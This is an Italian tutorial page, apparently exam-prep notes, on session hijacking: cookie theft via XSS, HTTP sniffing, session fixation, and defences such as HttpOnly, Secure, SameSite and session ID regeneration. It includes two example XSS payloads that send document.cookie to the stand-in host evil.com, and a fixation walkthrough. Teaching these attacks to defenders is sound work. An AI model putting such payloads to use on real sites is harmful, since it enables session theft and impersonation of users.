Skip to main content
  1. Concetti/

Session Hijacking - Cookie Theft, HttpOnly e Token Regeneration

Alessio Barnini
Author
Alessio Barnini
Table of Contents

Mappa Session Hijacking
#

Session Hijacking e' l'attacco in cui un attaccante ottiene un Session ID valido e lo usa per impersonare un utente autenticato, senza conoscerne username o password. Il principio e' che i server identificano gli utenti tramite il Session ID nel cookie: chiunque presenti un Session ID valido viene trattato come il legittimo proprietario di quella sessione.

http-headers-cookie-security-overview.webp

Metodi di furto del Session ID
#

Ci sono tre vettori principali con cui un attaccante puo' ottenere un Session ID altrui.

XSS + document.cookie
#

Il metodo piu' comune in ambiente web. Se la pagina e' vulnerabile a XSS e il cookie di sessione non ha il flag HttpOnly, un payload JavaScript puo' leggere il cookie e inviarlo all'attaccante:

// Payload XSS per furto sessione
fetch('https://evil.com/steal?c=' + document.cookie);

// Oppure con XMLHttpRequest per browser piu' vecchi:
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

L'attaccante riceve il Session ID nel log del suo server, lo imposta nel suo browser con DevTools (Applicazione > Cookie), e accede al sito come la vittima.

Dev parallel: Questa e' la catena di vulnerabilita' piu' classica: XSS + cookie senza HttpOnly = session hijacking garantito. Se hai un form con Stored XSS e i cookie di sessione sono leggibili da JS, la tua applicazione ha una vulnerabilita' critica end-to-end. In PHP, session.cookie_httponly = 1 nel php.ini risolve il vettore JS. In Express: cookie: { httpOnly: true } nella configurazione express-session. In Symfony: framework.session.cookie_httponly: true nel framework.yaml.

Sniffing HTTP
#

Se l'applicazione usa HTTP (non HTTPS), o se una qualsiasi pagina del sito e' raggiungibile via HTTP anche solo parzialmente, il cookie di sessione puo' viaggiare in chiaro e essere catturato da un attaccante in rete locale (WiFi pubblica, rete aziendale).

Firesheep (2010) rese questo attacco mainstream: una estensione Firefox che mostrava la lista di tutti gli utenti sulla stessa WiFi aperta con le loro sessioni Facebook e Twitter attive. Un click per impersonare chiunque. La risposta dell'industria fu la migrazione massiccia verso HTTPS obbligatorio.

# Cattura Wireshark su HTTP: l'attaccante vede
GET /dashboard HTTP/1.1
Host: app.com
Cookie: session=abc123def456  ← leggibile in chiaro

Il flag Secure sul cookie impedisce al browser di inviare il cookie su connessioni HTTP, limitandolo solo a HTTPS. Anche se l'utente visita accidentalmente la versione HTTP del sito, il cookie non viene allegato.

Session Fixation
#

La session fixation e' un vettore concettualmente diverso dagli altri: l'attaccante non ruba un Session ID, lo impone alla vittima prima che faccia login.

Il flusso: l'attaccante ottiene un Session ID valido (anche come utente anonimo o visitando il sito), invia alla vittima un link con quel Session ID prefissato (nell'URL o tramite injection), la vittima fa login — il server la autentica ma mantiene lo stesso Session ID, l'attaccante usa il Session ID (che conosce da prima) per accedere alla sessione ora autenticata.

1. Attaccante visita app.com → riceve session=ATTACKER_SESSION_ID
2. Invia link alla vittima: https://app.com/login?sessionid=ATTACKER_SESSION_ID
3. Vittima fa login → il server mantiene session=ATTACKER_SESSION_ID
4. Attaccante usa session=ATTACKER_SESSION_ID → e' autenticato come la vittima

La difesa e' la rigenerazione del Session ID dopo ogni login riuscito. Dopo che le credenziali vengono verificate, il server deve emettere un Session ID completamente nuovo, invalidando quello precedente.

Dev parallel: In PHP: session_regenerate_id(true) immediatamente dopo if ($credenziali_ok). Il parametro true cancella il vecchio Session ID sul server (non solo nel client) — senza true, il vecchio ID rimane valido. E' un errore comune dimenticare il true. In Symfony con il Security Component, AuthenticationSuccessHandler rigenera automaticamente la sessione dopo un login riuscito — se usi il sistema di autenticazione built-in non devi farlo manualmente. In Express/Node: req.session.regenerate(callback) dopo aver verificato le credenziali. Non confondere con req.session.destroy() che invalida la sessione completamente.

Cookie sicuro completo#

Un cookie di sessione sicuro deve combinare tutti e tre i flag, piu' attributi di path e scadenza appropriati:

Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
AttributoProtegge daSenza questo attributo
HttpOnlyXSS + furto cookie via document.cookieJS iniettato puo' leggere il Session ID
SecureSniffing su HTTP (Wireshark, Firesheep)Cookie inviato in chiaro su HTTP
SameSite=StrictCSRF (form cross-site)Request da evil.com allega il cookie
Path=/Scope corretto del cookieCookie inviato a path non necessari
Max-Age=3600Sessioni eterneSession ID valido per sempre

Dev parallel: In PHP puro, imposta tutti i parametri in una volta sola con session_set_cookie_params() prima di session_start():

session_set_cookie_params([
    'lifetime' => 3600,
    'path'     => '/',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Strict',
]);
session_start();

Altrimenti, ogni parametro richiede la sua riga ini_set('session.cookie_httponly', 1), piu' facile dimenticare. In Symfony, tutto questo si configura in config/packages/framework.yaml nella sezione session. In Express, nella configurazione di express-session il blocco cookie: {} accetta tutti e tre i flag piu' maxAge.

Invalidazione e timeout server-side
#

Le difese lato cookie non bastano da sole. Il server deve gestire attivamente il ciclo di vita delle sessioni:

  • Timeout di inattivita': sessioni non usate per X minuti vengono invalidate server-side. Anche se l'attaccante ha il cookie, dopo il timeout e' inutile.
  • Invalidazione al logout: quando l'utente fa logout, il server deve distruggere la sessione server-side (non solo cancellare il cookie lato client). Cancellare solo il cookie lato client non invalida il Session ID — se l'attaccante lo ha gia' catturato, continua a funzionare.
  • Legare la sessione all'IP o User-Agent (con cautela): tecnica aggiuntiva, ma rompe i casi legittimi di cambio IP (mobile, VPN).

Dev parallel: In PHP, session_destroy() invalida la sessione server-side. Ma l'errore comune e' fare solo unset($_SESSION) (che svuota l'array PHP) senza chiamare session_destroy(): il Session ID rimane valido nel database sessioni. Il session_destroy() rimuove fisicamente i dati della sessione dal disco (o dal Redis/Memcached). In Express, req.session.destroy(callback) fa la stessa cosa. Questo e' il tipo di bug sottile che non si vede in sviluppo (dove non hai un attaccante con il tuo cookie) ma e' exploitabile in produzione.

Distinzione con attacchi correlati
#

I tre attacchi sui session token si confondono in esame:

AttaccoCome ottiene il tokenKeyword esame
Session HijackingRuba o forgia il token di sessione (metodo generico)"steals session token", "impersonates user"
Session PredictionDeduce il token analizzando pattern prevedibili"guesses Session ID", "predictable tokens"
Replay AttackCattura un token valido e lo ritrasmette identico"captured and retransmitted", "same packet twice"
Session FixationImpone un Session ID noto prima del login"sets Session ID before login", "forced session"

La distinzione chiave per l'esame: Session Hijacking e' il termine generale per "usa un token per impersonare". Gli altri (Prediction, Replay, Fixation) descrivono come il token viene ottenuto o come viene usato.

Exam trap Session Prediction vs Replay vs Hijacking

Replay Attack = cattura e ritrasmette un token REALE. Session Prediction = DEDUCE un token senza averlo mai visto (analizza pattern). Session Hijacking = USA un token per impersonare (risultato finale di entrambi i precedenti). Session Fixation = IMPONE un token prima del login. La domanda specifica come l'attaccante ottiene il token determina quale attacco si descrive.

Exam trap HttpOnly vs Secure

HttpOnly e Secure proteggono da vettori diversi e sono entrambi obbligatori. HttpOnly = il cookie non e' accessibile via JavaScript (protegge da XSS). Secure = il cookie viaggia solo su HTTPS (protegge da sniffing). Un cookie con solo HttpOnly viaggia comunque in chiaro su HTTP. Un cookie con solo Secure e' leggibile da JavaScript. Entrambi devono essere presenti, con SameSite come terzo layer.

Related